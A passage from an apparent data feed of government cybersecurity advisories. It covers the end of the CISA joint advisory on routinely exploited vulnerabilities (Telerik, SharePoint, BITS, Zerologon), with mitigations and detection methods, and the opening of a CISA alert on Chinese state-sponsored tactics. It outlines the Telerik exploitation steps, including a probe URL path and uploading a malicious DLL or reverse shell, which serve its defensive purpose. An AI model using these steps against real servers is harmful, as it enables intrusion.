upgrade to Drupal 7.58. If running 8.5.x, upgrade to Drupal 8.5.1. \n \n_**Detection Methods**_\n\n * Dan Sharvit developed a tool to check for the CVE-2018-7600 vulnerability on several URLs: [https://github.com/sl4cky/CVE-2018-7600-Masschecker/blob/master/Drupalgeddon-mass.py.](<https://github.com/sl4cky/CVE-2018-7600-Masschecker/blob/master/Drupalgeddon-mass.py>) \n \n_**Vulnerable Technologies and Versions**_\n\n * Drupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are affected. \n \n_**References**_\n\n * [Drupal Security Advisory: Drupal Core - Highly Critical - Remote Code Execution - SA-CORE-2018-002](<https://www.drupal.org/sa-core-2018-002>)\n * [NIST NVD Vulnerability Detail: CVE-2018-7600](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>)\n * [Drupal Groups: FAQ about SA-CORE-2018-002](<https://groups.drupal.org/security/faq-2018-002>) \n \n_Table 12: CVE 2019-18935 Vulnerability Details_\n\nTelerik UI for ASP.NET AJAX Insecure Deserialization (CVE 2019-18935) \n--- \n \n_**Vulnerability Description**_\n\nTelerik User Interface (UI) for ASP.NET does not properly filter serialized input for malicious content. Versions prior to R1 2020 (2020.1.114) are susceptible to remote code execution attacks on affected web servers due to a deserialization vulnerability.\n\n| \n\n**_CVS 3.0_**\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nThe Telerik UI does not properly sanitize serialized data inputs from the user. This vulnerability leads to the application being vulnerable to RCE attacks that may lead to a full system compromise. A vulnerable `HTTP POST` parameter `rauPostData` makes use of a vulnerable function/object `AsyncUploadHandler`. The object/function uses the `JavaScriptSerializer.Deserialize()` method, which not not properly sanitize the serialized data during the deserialization process. This issue is attacked by:\n\n 1. Determining the vulnerable function is available/registered: ` http://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau`,\n 2. Determining if the version running is vulnerable by querying the UI, and\n 3. Creating an object (e.g., malicious mixed-mode DLL with native OS commands or Reverse Shell) and uploading the object via rauPostData parameter along with the proper encryption key.\n\n_There were two malware campaigns associated with this vulnerability:_\n\n * _Netwalker Ransomware and_\n * _Blue Mockbird Monero Cryptocurrency-mining._\n| \n\n_**Fix**_\n\n[Patch Available](<https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization>) \n \n_**Recommended Mitigations**_\n\n * Update to the most recent version of Telerik UI for ASP.NET AJAX (at least 2020.1.114 or later). \n \n_**Detection Methods**_\n\n * ACSC has an example PowerShell script that can be used to identify vulnerable Telerik UI DLLs on Windows web server hosts.\n * Vulnerable hosts should be reviewed for evidence of exploitation. Indicators of exploitation can be found in IIS HTTP request logs and within the Application Windows event log. Details of the above PowerShell script and exploitation detection recommendations are available in [ACSC Advisory 2020-004](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-004-remote-code-execution-vulnerability-being-actively-exploited-vulnerable-versions-telerik-ui-sophisticated-actors>).\n * Exploitation of this and previous Telerik UI vulnerabilities commonly resulted in the installation of web shell malware. NSA provides guidance on [detecting and preventing web shell malware](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF>). \n \n**_Vulnerable Technologies and Versions_**\n\nTelerik UI for ASP.NET AJAX versions prior to R1 2020 (2020.1.114) are affected. \n \n**_References_**\n\n * [Telerik UI for ASP.NET AJAX security advisory \u2013 Allows JavaScriptSerializer Deserialization](<https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization>)\n * [NIST NVD Vulnerability Detail: CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n * [ACSC Advisory 2020-004: Remote Code Execution Vulnerability Being Actively Exploited in Vulnerable Versions of Telerik UI by Sophisticated Actors](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-004-remote-code-execution-vulnerability-being-actively-exploited-vulnerable-versions-telerik-ui-sophisticated-actors>)\n * [Bishop Fox \u2013 CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI](<https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui>)\n * [FBI FLASH: Indicators Associated with Netwalker Ransomware](<https://www.ic3.gov/Media/News/2020/200929-2.pdf>) \n \n_Table 13: CVE-2019-0604 Vulnerability Details_\n\nMicrosoft SharePoint Remote Code Execution (CVE-2019-0604) \n--- \n \n_**Vulnerability Description**_\n\nA vulnerability in an XML deserialization component within Microsoft SharePoint allowed remote attackers to execute arbitrary code on vulnerable Microsoft SharePoint servers.\n\n| \n\n**_CVSS 3.0_**\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nThis vulnerability was typically exploited to install webshell malware to vulnerable hosts. A webshell could be placed in any location served by the associated Internet Information Services (IIS) web server and did not require authentication. These web shells would commonly be installed in the Layouts folder within the Microsoft SharePoint installation directory, for example:\n\n`C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\<version_number>\\Template\\Layouts`\n\nThe `xmlSerializer.Deserialize()` method does not adequately sanitize user input that is received from the PickerEnitity/ValidateEnity (`picker.aspx`) functions in the serialized XML payloads. Once the serialized XML payload is deserialized, the XML code is evaulated for relevant XML commands and stings. A user can attack .Net based XML parsers with XMLNS payloads using the <`system:string`> tag and embedding malicious operating system commands. \n\n_The exploit was used in malware phishing and the WickrMe/Hello Ransomware campaigns._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0604>) \n \n_**Recommended Mitigations**_\n\n * Upgrade on-premise installations of Microsoft Sharepoint to the latest available version (Microsoft SharePoint 2019) and patch level.\n * On-premise Microsoft SharePoint installations with a requirement to be accessed by internet-based remote staff should be moved behind an appropriate authentication mechanism such as a VPN, if possible. \n \n_**Detection Methods**_\n\n * The patch level of on-premise Microsoft SharePoint installations should be reviewed for the presence of relevant security updates as outlined in the Microsoft SharePoint security advisory.\n * Vulnerable SharePoint servers should be reviewed for evidence of attempted exploitation. [ACSC Advisory 2019-125](<https://www.cyber.gov.au/acsc/view-all-content/advisories/acsc-advisory-2019-125-targeting-microsoft-sharepoint-cve-2019-0604>) contains advice on reviewing IIS HTTP request logs for evidence of potential exploitation.\n * NSA provides guidance on [detecting and preventing web shell malware](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF>). \n \n_**Vulnerable Technologies and Versions**_\n\nAt the time of the vulnerability release, the following Microsoft SharePoint versions were affected: Microsoft Sharepoint 2019, Microsoft SharePoint 2016, Microsoft SharePoint 2013 SP1, and Microsoft SharePoint 2010 SP2. \n \n_**References**_\n\n * [Microsoft \u2013 SharePoint Remote Code Execution Vulnerability Security Advisory](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0604>)\n * [NIST NVD Vulnerability Detail: CVE-2019-0604](<https://nvd.nist.gov/vuln/detail/cve-2019-0604>)\n * [ACSC Advisory 2019-125: Targeting of Microsoft SharePoint CVE-2019-0604](<https://www.cyber.gov.au/acsc/view-all-content/advisories/acsc-advisory-2019-125-targeting-microsoft-sharepoint-cve-2019-0604>)\n * [NSCS Alert: Microsoft SharePoint Remote Code Vulnerability](<https://www.ncsc.gov.uk/news/alert-microsoft-sharepoint-remote-code-vulnerability>) \n \n_Table 14: CVE-2020-0787 Vulnerability Details_\n\nWindows Background Intelligent Transfer Service Elevation of Privilege (CVE-2020-0787) \n--- \n \n_**Vulnerability Description**_\n\nThe Windows Background Intelligent Transfer Service (BITS) is vulnerable to a privilege elevation vulnerability if it improperly handles symbolic links. An actor can exploit this vulnerability to execute arbitrary code with system-level privileges.\n\n| \n\n_**CVSS 3.0**_\n\nHigh \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nTo exploit this vulnerability, an actor would first need to have the ability to execute arbitrary code on a vulnerable Windows host.\n\nActors exploiting this vulnerability commonly used the proof of concept code released by the security researcher who discovered the vulnerability. If an actor left the proof of concept exploit\u2019s working directories unchanged, then the presence of the following folders could be used as an indicator of exploitation:\n\n`C:\\Users\\<username>\\AppData\\Local\\Temp\\workspace \nC:\\Users\\<username>\\AppData\\Local\\Temp\\workspace\\mountpoint \nC:\\Users\\<username>\\AppData\\Local\\Temp\\workspace\\bait`\n\n_The exploit was used in Maze and Egregor ransomware campaigns._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787>) \n \n_**Recommended Mitigations**_\n\n * Apply the security updates as recommended in the Microsoft Netlogon security advisory. \n \n_**Detection Methods**_\n\n * The patch level of all Microsoft Windows installations should be reviewed for the presence of relevant security updates as outlined in the Microsoft BITS security advisory. \n \n_**Vulnerable Technologies and Versions**_\n\nWindows 7 for 32-bit and x64-based Systems Service Pack 1, 8.1 for 32-bit and x64-based systems, RT 8.1, 10 for 32-bit and x64-based Systems, 10 1607 for 32-bit and x64-based Systems, 10 1709 for 32-bit and x64-based and ARM64-based Systems, 10 1803 for 32-bit and ARM64-based and x64-based Systems, 10 1809 for 32-bit and ARM64-based and x64-based Systems, 10 1903 for 32-bit and ARM64-based and x64-based Systems, 10 1909 for 32-bit, and ARM64-based and x64-based Systems are vulnerable.\n\nWindows Server 2008 R2 for x64-based Systems Service Pack 1, 2008 R2 for x64-based Systems Service Pack 1 (Server Core Installation), 2008 for 32-bit Systems Service Pack 2, 2008 for 32-bit Systems Service Pack 2 (Server Core Installation), 2012, 2012 (Server Core Installation), 2012 R2, 2012 R2 (Server Core Installation), 2016, 2016 (Server Core Installation), 2019, 2019 (Server Core Installation), 1803 (Server Core Installation), 1903 (Server Core Installation), and 1909 (Server Core Installation) are also vulnerable. \n \n_**References**_\n\n * [Microsoft \u2013 Windows Background Intelligent Transfer Service Elevation of Privilege Security Advisory](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787>)\n * [NIST NVD Vulnerability Detail: CVE-2020-0787](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>)\n * [Security Researcher \u2013 Proof of Concept Exploit Code](<https://itm4n.github.io/cve-2020-0787-windows-bits-eop/>) \n \n_Table 15: CVE-2020-1472 Vulnerability Details_\n\nMicrosoft Netlogon Elevation of Privilege (CVE-2020-1472) \n--- \n \n_**Vulnerability Description**_\n\nThe Microsoft Windows Netlogon Remote Protocol (MS-NRPC) reuses a known, static, zero-value initialization vector (VI) in AES-CFB8 mode, which could allow an unauthenticated attacker to impersonate a domain-joined computer including a domain controller, and potentially obtain domain administrator privileges.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nTo exploit this vulnerability, an actor would first need to have an existing presence on an internal network with network connectivity to a vulnerable Domain Controller, assuming that Domain Controllers are not exposed to the internet.\n\nThe immediate effect of successful exploitation results in the ability to authentication to the vulnerable Domain Controller with Domain Administrator level credentials. In compromises exploiting this vulnerability, exploitation was typically followed immediately by dumping all hashes for Domain accounts.\n\nThreat actors were seen combining the MobileIron CVE-2020-15505 vulnerability for initial access, then using the Netlogon vulnerability to facilitate lateral movement and further compromise of target networks.\n\n_A nation-state APT group has been observed exploiting this vulnerability_.[[18](<https://www.cyber.nj.gov/alerts-advisories/apt10-adds-zerologon-exploitation-to-ttps>)]\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>) \n \n_**Recommended Mitigations**_\n\n * Apply the security updates as recommended in the Microsoft Netlogon security advisory. \n \n_**Detection Methods**_\n\n * The patch level of Domain Controllers should be reviewed for the presence of relevant security updates as outlined in the Microsoft Netlogon security advisory.\n * Reviewing and monitoring Windows Event Logs can identify potential exploitation attempts. However, further investigation would still be required to eliminate legitimate activity. Further information on these event logs is available in the [ACSC 2020-016 Advisory](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-016-zerologon-netlogon-elevation-privilege-vulnerability-cve-2020-1472>). \n \n_**Vulnerable Technologies and Versions**_\n\nAt the time of the vulnerability release, the following Microsoft Windows Server versions were vulnerable: all versions of Windows Server 2019; all versions of Windows Server 2016; Windows Server 2012 R2; Windows Server 2012; Windows Server 2008 R2 SP1; and Windows Server versions 1909/1903/1809. \n \n_**References**_\n\n * [Microsoft \u2013 Netlogon Elevation of Privilege Vulnerability](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n * [NIST NVD Vulnerability Detail: CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/cve-2020-1472>)\n * [ACSC 2020-016 Netlogon Advisory](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-016-zerologon-netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n * [CISA-FBI Joint Cybersecurity Advisory: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>)\n * [CISA-FBI Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [ACSC Advisory 2020-016: \"Zerologon\" \u2013 Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-016-zerologon-netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n * [NCSC Alert: UK Organisations Should Patch Netlogon Vulnerability (Zerologon)](<https://www.ncsc.gov.uk/news/alert-organisations-should-patch-netlogon-vulnerability>) \n \nFor additional general best practices for mitigating cyber threats, see the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) and ACSC\u2019s [Essential Eight](<https://www.cyber.gov.au/acsc/view-all-content/essential-eight>) mitigation strategies.\n\n### Additional Resources\n\n#### Free Cybersecurity Services\n\nCISA offers several free cyber hygiene vulnerability scanning and web application services to help U.S. federal agencies, state and local governments, critical infrastructure, and private organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. For more information about [CISA\u2019s free services](<https://www.cisa.gov/cyber-hygiene-services>), or to sign up, email [vulnerability_info@cisa.dhs.gov](<mailto:vulnerability_info@cisa.dhs.gov>).\n\n#### Cyber Essentials\n\n[CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>) is a guide for leaders of small businesses as well as leaders of small and local government agencies to develop an actionable understanding of where to start implementing organizational cybersecurity practices.\n\n#### Cyber.gov.au \n\n[ACSC\u2019s website](<https://www.cyber.gov.au/>) provides advice and information about how to protect individuals and families, small- and medium-sized businesses, large organizations and infrastructure, and government organizations from cyber threats.\n\n#### ACSC Partnership Program\n\nThe ACSC Partnership Program enables Australian organizations and individuals to engage with ACSC and fellow partners, drawing on collective understanding, experience, skills, and capability to lift cyber resilience across the Australian economy.\n\nAustralian organizations, including government and those in the private sector as well individuals, are welcome to sign up at [Become an ACSC partner](<https://www.cyber.gov.au/partner-hub/become-a-partner>) to join.\n\n#### NCSC 10 Steps\n\nThe NCSC offers [10 Steps to Cyber Security](<https://urldefense.us/v3/__https:/www.ncsc.gov.uk/collection/10-steps__;!!BClRuOV5cvtbuNI!T8Z-cMwGes9PcbBL1utGkQdFFUBjxNk7elZg1ioCK-eU1tUQokVWKONDFlwSGb1kHLNs74-CWWI8Rbcz$>), providing detailed guidance on how medium and large organizations can manage their security.\n\nOn vulnerabilities specifically, the NCSC has [guidance to organizations on establishing an effective vulnerability management process](<https://urldefense.us/v3/__https:/www.ncsc.gov.uk/guidance/vulnerability-management__;!!BClRuOV5cvtbuNI!T8Z-cMwGes9PcbBL1utGkQdFFUBjxNk7elZg1ioCK-eU1tUQokVWKONDFlwSGb1kHLNs74-CWfrZnnW4$>), focusing on the management of widely available software and hardware.\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at[ www.fbi.gov/contact-us/field](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. If you have any further questions related to this Joint Cybersecurity Advisory, or to request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.gov](<mailto:Central@cisa.gov>).\n\n### References\n\n[[1] NSA-CISA-FBI Cybersecurity Advisory: Russian SVR Targets U.S. and Allied Networks](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>)\n\n[[2] CISA-FBI-NSA-NCSC Advisory: Further TTPs Associated with SVR Cyber Actors](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>)\n\n[[3] NSA Cybersecurity Advisory: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)\n\n[[4] ACSC Advisory 2020-001-4: Remediation for Critical Vulnerability in Citrix Application Delivery Controller and Citrix Gateway](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2020-001-4-remediation-critical-vulnerability-citrix-application-delivery-controller-and-citrix-gateway>)\n\n[[5] NCSC Alert: Actors Exploiting Citrix Products Vulnerability](<https://www.ncsc.gov.uk/news/citrix-alert>)\n\n[[6] Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n\n[[7] CISA-FBI Joint Cybersecurity Advisory: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[8] ACSC Alert: APT Exploitation of Fortinet Vulnerabilities](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)\n\n[[9] NCSC Alert: Alert: Critical Risk to Unpatched Fortinet VPN Devices](<https://www.ncsc.gov.uk/news/critical-risk-unpatched-fortinet-vpn-devices>)\n\n[[10] NSA Cybersecurity Advisory: Mitigating Recent VPN Vulnerabilities](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/Mitigating Recent VPN Vulnerabilities - Copy.pdf>)\n\n[[11] NCSC Alert: Vulnerabilities Exploited in VPN Products Used Worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n\n[[12] NCSC-Canada\u2019s Communications Security Establishment-NSA-CISA Advisory: APT29 Targets COVID-19 Vaccine Development (CSE)](<https://media.defense.gov/2020/Jul/16/2002457639/-1/-1/0/NCSC_APT29_ADVISORY-QUAD-OFFICIAL-20200709-1810.PDF>)\n\n[[13] ACSC Advisory: Summary of Tactics, Techniques and Procedures Used to Target Australian Networks](<https://www.cyber.gov.au/acsc/view-all-content/advisories/summary-tactics-techniques-and-procedures-used-target-australian-networks>)\n\n[[14] CISA Alert: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)\n\n[[15] CISA Alert: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n\n[[16] CISA Emergency Directive (ED 20-03): Windows DNS Server Vulnerability](<https://www.cisa.gov/blog/2020/07/16/emergency-directive-ed-20-03-windows-dns-server-vulnerability>)\n\n[[17] NCSC Alert: Alert: Multiple Actors are Attempting to Exploit MobileIron Vulnerability CVE 2020-15505](<https://www.ncsc.gov.uk/news/alert-multiple-actors-attempt-exploit-mobileiron-vulnerability>)\n\n[[18] NJCCIC Alert: APT10 Adds ZeroLogon Exploitation to TTPs](<https://www.cyber.nj.gov/alerts-advisories/apt10-adds-zerologon-exploitation-to-ttps>)\n\n### Revisions\n\nInitial Version: July 28, 2021|August 4, 2021: Fixed typo|August 20, 2021: Adjusted vendor name for CVE-2020-1472\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-20T12:00:00", "type": "ics", "title": "Top Routinely Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-20T12:00:00", "id": "AA21-209A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-209a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:12", "description": "### Summary\n\n_This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/matrices/enterprise/>) framework for all referenced threat actor techniques._\n\n_**Note**: on October 20, 2020, the National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) providing information on publicly known vulnerabilities exploited by Chinese state-sponsored cyber actors to target computer networks holding sensitive intellectual property, economic, political, and military information. This Alert has been updated to include information on vulnerabilities exploited by Chinese state-sponsored actors (see Table 4)._\n\nIn light of heightened tensions between the United States and China, the Cybersecurity and Infrastructure Security Agency (CISA) is providing specific Chinese government and affiliated cyber threat actor tactics, techniques, and procedures (TTPs) and recommended mitigations to the cybersecurity community to assist in the protection of our Nation\u2019s critical infrastructure. In addition to the recommendations listed in the Mitigations section of this Alert, CISA recommends organizations take the following actions.\n\n 1. **Adopt a state of heightened awareness. **Minimize gaps in personnel availability, consistently consume relevant threat intelligence, and update emergency call trees.\n 2. **Increase organizational vigilance.** Ensure security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any known Chinese indicators of compromise (IOCs) and TTPs for immediate response.\n 3. **Confirm reporting processes.** Ensure personnel know how and when to report an incident. The well-being of an organization\u2019s workforce and cyber infrastructure depends on awareness of threat activity. Consider [reporting incidents](<https://us-cert.cisa.gov/report>) to CISA to help serve as part of CISA\u2019s early warning system (see the Contact Information section below).\n 4. **Exercise organizational incident response plans.** Ensure personnel are familiar with the key steps they need to take during an incident. Do they have the accesses they need? Do they know the processes? Are various data sources logging as expected? Ensure personnel are positioned to act in a calm and unified manner.\n\n### Technical Details\n\n#### China Cyber Threat Profile\n\nChina has a history of using national military and economic resources to leverage offensive cyber tactics in pursuing its national interests. The \u201cMade in China 2025\u201d 10-year plan outlines China\u2019s top-level policy priorities.[[1](<https://www.whitehouse.gov/wp-content/uploads/2018/06/FINAL-China-Technology-Report-6.18.18-PDF.pdf>)],[[2](<https://fas.org/sgp/crs/row/IF10964.pdf>)] China may seek to target the following industries deemed critical to U.S. national and economic interests: new energy vehicles, next generation information technology (IT), biotechnology, new materials, aerospace, maritime engineering and high-tech ships, railway, robotics, power equipment, and agricultural machinery.[[3](<https://www.cfr.org/backgrounder/made-china-2025-threat-global-trade>)] China has exercised its increasingly sophisticated capabilities to illegitimately obtain U.S. intellectual property (IP), suppress both social and political perspectives deemed dangerous to China, and harm regional and international opponents.\n\nThe U.S. Intelligence Community and various private sector threat intelligence organizations have identified the Chinese People\u2019s Liberation Army (PLA) and Ministry of State Security (MSS) as driving forces behind Chinese state-sponsored cyberattacks\u2013either through contractors in the Chinese private sector or by the PLA and MSS entities themselves. China continues to engage in espionage-related activities that include theft of sensitive information such as innovation capital, IP, and personally identifiable information (PII). China has demonstrated a willingness to push the boundaries of their activities to secure information critical to advancing their economic prowess and competitive advantage.\n\n#### Chinese Cyber Activity\n\nAccording to open-source reporting, offensive cyber operations attributed to the Chinese government targeted, and continue to target, a variety of industries and organizations in the United States, including healthcare, financial services, defense industrial base, energy, government facilities, chemical, critical manufacturing (including automotive and aerospace), communications, IT, international trade, education, videogaming, faith-based organizations, and law firms.\n\nAdditionally, numerous Department of Justice (DOJ) indictments over several years provide evidence to suggest Chinese threat actors continuously seek to illegally obtain and exfiltrate U.S. IP. Their targets also include western companies with operations inside China.\n\nPublic reporting that associates Chinese actors with a range of high-profile attacks and offensive cyber activity includes:\n\n * **February 2013 \u2013 Cyber Threat Intelligence Researchers Link Advanced Persistent Threat (APT) 1 to China:** a comprehensive report publicly exposed APT1 as part of China\u2019s military cyber operations and a multi-year effort that exfiltrated IP from roughly 141 companies spanning 20 major industries.[[4](<https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf>)] APT1 established access to the victims\u2019 networks and methodically exfiltrated IP across a large range of industries identified in China\u2019s 12th 5-Year Plan. A year later, the DOJ indicted Chinese cyber threat actors assigned to PLA Unit 61398 for the first time (also highlighted in the report).[[5](<https://www.justice.gov/opa/pr/us-charges-five-chinese-military-hackers-cyber-espionage-against-us-corporations-and-labor>)]\n * **April 2017 \u2013 Chinese APTs Targeting IP in 12 Countries:** CISA announced Chinese state-backed APTs carried out a multi-year campaign of cyber-enabled IP theft that targeted global technology service providers and their customers. The threat actors leveraged stolen administrative credentials (local and domain) and placed sophisticated malware on critical systems in an effort to steal the IP and sensitive data of companies located in at least 12 countries.[[6](<https://us-cert.cisa.gov/ncas/alerts/TA17-117A>)]\n * **December 2018 \u2013 Chinese Cyber Threat Actors Indicted for Compromising Managed Service Providers (MSPs):** DOJ indicted two Chinese cyber threat actors believed to be associated with APT10, who targeted MSPs and their large customer base through phishing and spearphishing campaigns aimed at exfiltrating sensitive business data and, possibly, PII.[[7](<https://www.justice.gov/opa/speech/deputy-attorney-general-rod-j-rosenstein-announces-charges-against-chinese-hackers>)] CISA also briefed stakeholders on Chinese APT groups who targeted MSPs and their customers to steal data and further operationalize commercial and economic espionage.[[8](<https://us-cert.cisa.gov/sites/default/files/publications/Chinese-Cyber-Activity-Targeting-Managed-Service-Providers.pdf>)]\n * **February 2020 \u2013 China\u2019s Military Indicted for 2017 Equifax Hack:** DOJ indicted members of China\u2019s PLA for stealing large amounts of PII and IP. The Chinese cyber threat actors exploited a vulnerability in the company\u2019s dispute resolution website to enter the network, conduct reconnaissance, upload malware, and steal credentials to extract the targeted data. The breach impacted roughly half of all American citizens and stole Equifax\u2019s trade secrets.[[9](<https://www.justice.gov/opa/speech/attorney-general-william-p-barr-announces-indictment-four-members-china-s-military>)]\n * **May 2020 \u2013 China Targets COVID-19 Research Organizations:** the Federal Bureau of Investigation (FBI) and CISA reported the targeting and compromise of U.S. organizations conducting COVID-19-related research by cyber actors affiliated with China.[[10](<https://www.cisa.gov/news/2020/05/13/fbi-and-cisa-warn-against-chinese-targeting-covid-19-research-organizations>)] Large-scale password spraying campaigns were a commonly observed tactic in illicitly obtaining IP related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research.[[11](<https://us-cert.cisa.gov/ncas/alerts/AA20126A>)],[[12](<https://us-cert.cisa.gov/ncas/current-activity/2020/08/03/chinese-malicious-cyber-activity >)]\n\n#### Common TTPs of Publicly Known Chinese Threat Actors\n\nThe section below provides common, publicly known, TTPs employed by Chinese threat actors, which map to the MITRE ATT&CK framework. Where possible, the tables include actions for detection and mitigation. This section is not exhaustive and does not detail all TTPs or detection and mitigation actions. \n\n#### PRE-ATT&CK TTPs\n\nChinese threat actors commonly use the techniques listed in table 1 to achieve reconnaissance (_Technical Information Gathering_ [[TA0015](<https://attack.mitre.org/tactics/TA0015/>)]), staging (_Stage Capabilities_ [[TA0026](<https://attack.mitre.org/tactics/TA0026/>)]), and testing (_Test Capabilities_ [[TA0025](<https://attack.mitre.org/tactics/TA0025/>)]) before executing an attack. PRE-ATT&CK techniques can be difficult to detect and mitigate, however, defenders should be aware of the use of these techniques.\n\n_Table 1: Chinese threat actor PRE-ATT&CK techniques_\n\n**Technique** | **Description** \n---|--- \n_Acquire and/or Use 3rd Party Software Services_ [[T1330](<https://attack.mitre.org/techniques/T1330/>)] | Staging and launching attacks from software as a service solutions that cannot be easily tied back to the APT \n_Compromise 3rd Party Infrastructure to Support Delivery_ 